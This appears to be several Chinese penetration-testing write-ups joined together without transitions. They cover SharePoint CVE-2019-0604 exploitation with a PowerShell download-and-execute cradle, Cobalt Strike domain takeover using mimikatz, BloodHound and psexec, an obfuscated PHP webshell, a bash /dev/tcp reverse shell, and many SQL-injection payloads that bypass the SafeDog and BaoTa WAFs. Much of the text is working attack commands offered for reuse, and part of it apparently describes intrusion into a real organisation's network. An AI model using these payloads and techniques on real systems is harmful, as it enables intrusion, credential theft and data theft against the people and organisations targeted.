一、前期交互

0x00 目标 https://xxx.xxx

0x01 网站采用Microsoft SharePoint,使用CVE-2019-0604 EXP直接上线,CobaltStrike创建一个Listener

1.png

0x02 生成一个powershell上线脚本powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://35.X.X.25:80/a'))"

2.png

0x03 将生成的脚本填入CVE-2019-0604 exp中payload位置,POC见 https://www.exploit-db.com/exploits/48053

3.png

0x04 获得上线主机

4.png

二、手工域内信息收集

0x01 拿到shell,查看当前用户shell whoami

5.png

0x02 查看域内信息shell net view /domain,发现所在域M*

6.png

0x03 查看本地管理员组shell net localgroup administrators,发现当前登录用户即为本地管理员

7.png

0x04 查看域管理员shell net group "domain admins" /domain

8.png

0x05 查找域控位置shell nltest /dsgetdc:<domain>,发现域控位域10.X.X.120上,本机ip为10.X.X.100

9.png

0x06 也可以使用DNS解析来找域控,先输入shell ipconfig /all | findstr DNS,一般来说域控都是域内的DNS服务器,进而域的名字也就用了DNS的域名

10.png

0x07 使用时间服务器来找域控,一般来说时间服务器就是域内的主域shell net time /domain

11.png

0x08 再次使用DNS查询印证一下,shell nslookup -qt=a XXXX.XXXX.com,可以看到该主机的A记录地址与我们上面几步获取到的是一致的,即10.X.X.120

12.png

其实还可以通过端口扫描来发现域控位置,因为域控上会开启活动目录,往往采用的是LDAP协议,所以可以通过扫描整个C段内的389端口开放情况来确认域控位置portscan 10.X.X.0/24 389 none none参数等同于nmap -Pn即不进行主机存活扫描(找工作时经常被面试官问咋样找域控:)

13.png

0x09 net view,初步看一哈子内网当前网段有哪些机器,一般来说,好的运维都会根据服务器用途来对其进行命名,便于他们管理,也方便渗透测试人员信息搜集少走弯路(害,这两者关系从未如此之铁)

14.png

0xA 再看一哈本机arp缓存表,shell arp -a,其实可以展示的内容还是比较多的,截取部分

15.png

0xB 查看本机共享shell wmic share get name,path,status,然后发现本机对外提供共享,莫得域内可访问共享,抬走

16.png

0xC 查看域内信任shell nltest /domain_trusts,可以看到本机是处在有两颗域树组成的域森林里(突然想起了在一次线下沙龙听一位表哥分享关于域信任下的攻击,不禁眼眶湿润:)

17.png

0xD mimikatz抓取密码

18.png

三、自动化域内信息收集

0x00 利用BloodHound进行域内自动化信息收集,BloodHound是一个免费的单页的JavaScript的Web应用程序,以neo4j为数据库,可以通过图与线的形式,将域内用户、计算机、组、会话、ACL、以及域内所有的相关用户、组、计算机、登录信息、访问控制策略之间的关系直观的展示在红队成员、蓝队成员面前,既可以为蓝队梳理域内安全防御提供清晰条理,也可为红队成员更好寻找突破点提供思路。官方地址:https://github.com/BloodHoundAD/BloodHound

0x01 直接在kali中apt-get update && apt-get install ne04j -y进行安装即可,安装完neo4j后,命令行输入neo4j console静待片刻,即可在浏览器输入http://localhost:7474然后以neo4j:neo4j进行后台访问,初次访问需更改默认密码,然后关闭浏览器,在命令行新窗口输入 apt-get install bloodhound -y等待安装完毕后直接命令行输入bloodhound启动bloodhound

19.png

20.png

0x02 接下来需要将数据采集程序ShareHound.exe放到目标机器上执行即可,首先到官网获取到最新的ShareHound.exe,地址:https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors

21.png

0x03 然后直接将ShareHound.exe通过CS上传到目标任意位置并执行就好了shell ShareHound.exe -c all,然后会有一个以当前时间戳开头命名的压缩包生成,形如20200408174945_BloodHound.zip,虽然说CS会回显.zip生成目录就在当前执行ShareHound.exe路径下,但是我没找到,可以执行shell dir/s/b c:20200408174945_BloodHound.zip来获取它的绝对路径,然后download c:xxxxxx20200408174945_BloodHound.zip将它下载到本地。

22.png

0x04 然后将刚才采集完信息的20200408174945_BloodHound.zip上传到BloodHound内自动化分析。可以看到可以看到域内一共有720个用户、95个主机、109个组、47个会话、9160条ACL,12319个关系

23.png

24.png

0x05 可以看到我们当前机器的登录用户i*是域管理员用户,上一步手工信息收集也应证了这一点,挺好的,本来我们需要找到当前主机上的域管理员session然后去用dump出来的hash去以这些session作为跳板,这样一来,就省了不少事,接下来我们就用它进行横向。

25.png

四、横向移动

0x01 直接选中我们刚才查到的域控10.X.X.120,右键Jump -> psexec64然后选择我们在本机10.X.X.100上dump出来的i*信息,然后选中我们最开始建立的Listener(cmedu),session选我们当前获取这个就行,然后直接Launch,也可以直接勾选最下方的Use session's access token因为我们当前session就是域管理员session,然后再选择Listener,再选session

26.png

27.png

28.png

0x02 已经拿到域控权限,先导出密码,hashdump、logonpasswords

29.png

0x03 批量打一下

30.png

0x04 可以看到已经拿下邮服(10.X.X.232)、域控(10.X.X.120)、VPN服务器(10.X.X.140)

31.png

0x05 ???就这???内网渗透有手就会???,我们拿到的是域管理员账户,然后直接使用psexec进行批量横向,期间遇到一些问题,发现并不是所有的主机都可以使用域管理员进行psexec进行权限获取,但却可以用域管理员用户进行IPC连接,???小问号,你是否有很多小朋友???默认情况下的话,在机器加入域的时候,系统将会自动把"Domain Admins"域组添加到本地的Administrators组中,也就是说只要是Domain Admins组的成员均可访问本地计算机,而且具备"完全控制"的权限。但是如果出于某些考虑,本地管理员或者域管理员会把个别域管理用户从本机管理员组中删除,那么该域管理员就没有权限访问该主机了,嗯,别问,问就是这样的:)

32.png

33.png

0x06 后期我们通过别的方法拿到该主机权限后,发现确实把我们一开始使用的那个域管理员账户删掉了,遇到这种情况的话,我们可以使用与管理员组中的其它账号依次进行psexec,总有一个会成功的,因为域内用户一定会有某项服务依赖于域管理员之一,在这里我采用的是另外一种做法,推荐给大家。

34.png

0x07 我们在上一步使用了强大的自动化工具BloodHound,官方介绍的是BloodHound可以在活动目录下自动的清理大部分人员之间的关系和细节,获取哪些用户具有管理员权限、哪些用户对所有的计算机具有登录权限、哪些用户是有效的用户组成员等等,直接上图,我们直接在BLoodHound左侧导航栏上查询该主机名,得到该节点信息,然后右键选择Shortest Paths to Here即找一哈子最近到此节点的途径,如图所示

35.png

36.png

37.png

38.png

39.png

成功!

0x08 最后以此方法,拿下了包括VPN服务器、MSSQL服务器、EXCHANGE服务器、WEBAPP服务器等。总结起来就是善用BloodHound能够帮我们在信息收集方面省一大半时间,直接根据用户与机器之间的关系精确打击,高效命中。附一张BloodHound邮服关系图感受一下

40.png

41.png

0x09 接下来就啥都可以干了,本着富强民主文明和谐的观念,就不再展示后续截图了,用CS的Socks4隧道代理进内网,然后本地配置Proxifier将本机MSTSC代理到该内网就可以直接访问内网机器的远程桌面了,但是会提示是否踢出一个当前登录用户,这样动静有点大,使用时要注意。

42.png

43.png

目标站点www.a.com
经过初步信息收集发现目标为宝塔搭建
源码是ThikPHP 5.0.24
微步查询同IP下存在 www.a.com,www.b.com,www.c.com
使用了宝塔waf。。规则极其严格,频繁访问就会封禁IP,并且对于访问的UA也会进行限制
以上是收集到的信息(ps:因为测试的多了手上的代理被ban了很多所以部分没有图QAQ)
当查看www.b.com发现为sdcms搭建,运气很好的使用弱口令进入了后台
SDCMS1.9版本后台可shell
详情可以查看这篇文章
https://xz.aliyun.com/t/7000

POC:

<?php
$a = 'file_p'.'ut_contents';
$data = '<?php ev'.'al($_PO'.'ST[1337]); ?>12';
$a("chonger.php",$data);
?>

当我拿下shell之后发现用蚁剑连会直接ban掉IP,后来测试发现是因为蚁剑的UA导致的
执行phpinfo会被宝塔拦截,菜刀也连接不上
懒人觉得手工不方便操作,所以使用了PHP一句话客户端,哈哈哈
使用垃圾字符上传了冰蝎的shell

下面重头戏来了,众所周知新版宝塔对于权限的限制非常严格,不能执行任何命令,不能跨当前网站目录
所以如果想要拿旁站我们第一步就是要绕过命令执行
phpinfo显示www.b.com用的是PHP7
这个时候我们就可以使用一个神器了
项目地址:
https://github.com/mm0r1/exploits/tree/master/php-json-bypass

利用脚本:https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php

然后直接nc反弹个命令

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

可能这个时候大家都觉得直接在目标站点写个shell不就好了
但是我觉得,既然他这么多的站点,如果我要一个一个找目标站的目录还要写shell不累死
而且还有宝塔waf,冰蝎的小马太长不好写,蚁剑又要配置编码器,麻烦麻烦
于是我跨目录读取了phpmyadmin的目录和文件名

1.png

在phpmyadmin的根目录下写了一句简短的shell

为什么在phpmyadmin下写shell呢,因为两点,
第一你可以直接访问所有网站的目录,执行你想进行的任何操作
第二嘛,就是宝塔的waf并不会检测这个目录下的操作,所以就算你用菜刀也可以直接操作
这个应该也算是宝塔的一个漏洞吧。

环境预览

1.png

用了最新版的安全狗apache版本4.0

2.png

漏洞环境

绕过and 1=1

3.png

and 1=1拦截

4.png

and ord(0x1) == and True

5.png

and ord(0x0) == and False

绕过 order by

6.png

正常order by 被咬

在 order 和by之间放点无效字符,然后再换个行

7.png

order /*|--|*/--+%20%0Aby 3%23 绕过

绕过 union select

8.png

union select 1,2,3 被咬

这里用内连注释+空语句+注释+换行

注:MySQL数据库为了保持与其他数据库兼容,特意新添加的功能。 为了避免从MySQL中导出的SQL语句不能被其他数据库使用,它把一些 MySQL特有的语句放在 /! ... / 中,这些语句在不兼容的数据库中使用时便 不会执行。而MySQL自身却能识别、执行。 /50001 /表示数据库版本>=5.00.01时中间的语句才会执行。

9.png

/*!union*/ /*!*/ --+1%0Aselect 1,2,3 %23 绕过

获取数据

不演示被咬的了...

到了这里就比较简单了

内连注释+空语句+注释+换行 可绕所有

查库

10.png

/*!union*//*!*/--+1%0A%0ASELECT 1,2,concat(/*!schema_name*/) /*!from*/ information_schema.schemata--+*/%23

查表

11.png

/*!union*//*!*/--+1%0A%0ASELECT 1,2,concat(/*!table_name*/) /*!from*/ information_schema.tables where table_schema=0x747261696E--+*/%23

查字段

12.png

/*!union*//*!*/--+1%0A%0ASELECT 1,2,concat(/*!column_name*/) /*!from*/ information_schema.columns where table_name=0x7573657273--+*/%23

查数据

13.png

/*!union*//*!*/--+1%0A%0ASELECT%201,2,concat(/*!username*/)%20/*!from*/%20users--+*/%23

系统函数

14.png

15.png

这里常规的方法还是被咬,但是用变量处理一下就直接过了。

/*!union*//*!*/--+1%0ASELECT 1,@s:=database/**/(),1%23
/*!union*//*!*/--+1%0ASELECT 1,@s:=user/**/(),1%23

union注入测试

绕过and 1=1

先使用and 1=1和and 1=2 直接被拦截

1.jpg

这里绕过方法是使用&&(%26%26)代替and,后面是个条件,可以使用True和False代替

2.jpg

3.jpg

绕过order by

之前版本绕过order by的方法很简单就是使用内联注释,如/*!order*//**//*!by*/来绕过,但是现在不行了,于是在网上看了看其它WAF绕过方式,发现order/*!60000ghtwf01*/by可以实现绕过,数字要大于50000,不然就是报错,后面随便接字母

4.jpg

绕过union select

尝试使用order by的绕过姿势,union/*!60000ghtwf01*/select,发现成功绕过

5.jpg

绕过database()

直接查询database()会被拦截

6.jpg

使用database/**/()可以绕过

7.jpg

使用-加上任意一个不存在的函数可以报错出数据库名,比如-ghtwf01()

8.jpg

绕过schema_name

查询所有数据库名时,使用schema_name会被拦截,这里使用内联注释绕过

http://127.0.0.1/sqli/Less-1/?id=0%27%20union/*!60000ghtwf01*/select%201,(select%20group_concat(/*!schema_name*/)%20from%20information_schema.schemata),3--+

9.jpg

绕过table_name

查询所有数据库名时,使用table_name会被拦截,这里使用内联注释绕过

http://127.0.0.1/sqli/Less-1/?id=0%27%20union/*!60000ghtwf01*/select%201,(select%20group_concat(/*!table_name*/)%20from%20information_schema.tables%20where%20table_schema=%27security%27),3--+

10.jpg

绕过column_name

查询所有数据库名时,使用column_name会被拦截,这里使用内联注释绕过,and连接的时候and换为%26%26

http://127.0.0.1/sqli/Less-1/?id=0%27%20union/*!60000ghtwf01*/select%201,(select%20group_concat(/*!column_name*/)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20%26%26%20table_name=0x7573657273),3--+

11.jpg

绕过与from的结合查询字段内容

使用from.绕过

http://127.0.0.1/sqli/Less-1/?id=0%27%20union/*!60000ghtwf01*/select%201,(select%20group_concat(username,0x7e,password,0x7e)%20from.%20users),3--+

12.jpg

盲注

布尔盲注

查询数据库名长度

http://127.0.0.1/sqli/Less-1/?id=1%27%20%26%26%20length(database/**/())=8--+

13.jpg

查询第一个数据库名的第一个字母,过滤了ascii(),这里使用hex()

http://127.0.0.1/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((select%20concat(/*!schema_name*/)%20from%20information_schema.schemata%20limit%200,1),1,1))=69)%20--+

14.jpg

然后以此类推即可
查询表名的第一个字母,注意这里数据库名需要十六进制编码才行,否则会被拦截

http://127.0.0.1/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((select%20concat(/*!table_name*/)%20from%20information_schema.tables%20where%20/*!table_schema*/=0x7365637572697479%20limit%200,1),1,1))=65)%20--+

15.jpg

查询列名的第一个字母

http://127.0.0.1/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((select%20concat(/*!column_name*/)%20from%20information_schema.columns%20where%20table_schema=0x7365637572697479%20%26%26%20table_name=0x7573657273%20limit%200,1),1,1))=69)%20--+

16.jpg

查询字段第一个字母,限制了select与from结合使用from.

http://127.0.0.1/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((select%20username%20from.%20users%20limit%200,1),1,1))=74)%20--+

17.jpg

时间盲注

过滤了sleep()函数,使用benchmark()函数即可,查询规则参考上面布尔盲注